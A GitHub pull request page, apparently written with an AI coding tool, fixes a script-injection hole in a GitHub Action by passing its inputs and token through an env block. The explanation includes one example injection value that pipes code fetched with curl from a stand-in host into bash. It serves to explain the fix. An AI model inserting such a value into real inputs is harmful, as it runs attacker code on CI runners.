Pass action inputs via env to prevent script injection - #18
Merged
Conversation
Move inputs.version, runner.os, and github.token out of inline ${{ }}
interpolation and into a step-level env block, referenced as quoted
shell variables. This closes the script-injection vector on the
attacker-controllable version input and keeps the token out of the
rendered script. Behavior is unchanged.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Contributor
Author
|
Apologies for the clanker, but the PR looks accurate. |
imjasonh
approved these changes
Jun 1, 2026
1 task
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
Moves
inputs.version,runner.os, andgithub.tokenout of inline${{ }}interpolation inaction.ymland into a step-levelenv:block, referencing them as quoted shell variables ("${VERSION}","${RUNNER_OS}","${GITHUB_TOKEN}").Why
GitHub expands
${{ }}expressions into the script text before bash runs. With${{ inputs.version }}spliced directly into acasestatement and a URL, a craftedversioninput (e.g.latest-release$(curl evil.sh|bash)) would execute as shell code — a classic script-injection vulnerability. Passing values throughenv:makes bash treat them as inert strings. This is the hardening GitHub's own security docs recommend.Moving
github.tokento env additionally keeps the secret out of the rendered script.Behavior is unchanged.
Testing
shellcheckon therun:block — clean on the touched lines (only pre-existing info-level SC2086 quoting nits remain).VERSION='latest-release$(touch …)'is treated as a literal string — no command executed.GITHUB_PATH.🤖 Generated with Claude Code